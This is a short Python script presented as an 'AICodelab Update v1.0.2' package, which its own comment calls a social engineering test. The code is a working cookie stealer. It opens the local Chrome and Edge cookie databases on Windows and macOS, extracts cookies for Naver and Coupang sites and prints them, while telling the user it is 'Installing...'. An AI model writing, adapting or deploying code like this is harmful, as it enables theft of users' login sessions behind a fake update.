#!/usr/bin/env python3
# AICodelab Update v1.0.2 - Fake update package (social engineering test)
# If real: would steal Naver/Coupang browser cookies, saved passwords
import os,sys,sqlite3,platform
def steal_cookies():
    paths=[]
    if platform.system()=='Windows':
        paths=[os.path.expanduser('~')+'/AppData/Local/Google/Chrome/User Data/Default/Cookies',os.path.expanduser('~')+'/AppData/Local/Microsoft/Edge/User Data/Default/Cookies']
    elif platform.system()=='Darwin':
        paths=[os.path.expanduser('~')+'/Library/Application Support/Google/Chrome/Default/Cookies']
    for p in paths:
        if os.path.exists(p):
            try:
                c=sqlite3.connect(p);cur=c.cursor();cur.execute("SELECT host_key,name,value,encrypted_value FROM cookies WHERE host_key LIKE '%naver%' OR host_key LIKE '%coupang%'")
                for r in cur.fetchall():print(f'{r[0]}:{r[1]}={r[2]}')
                c.close()
            except:pass
if __name__=='__main__':
    print('AICodelab Update v1.0.2');print('Installing...');steal_cookies();print('Done.')
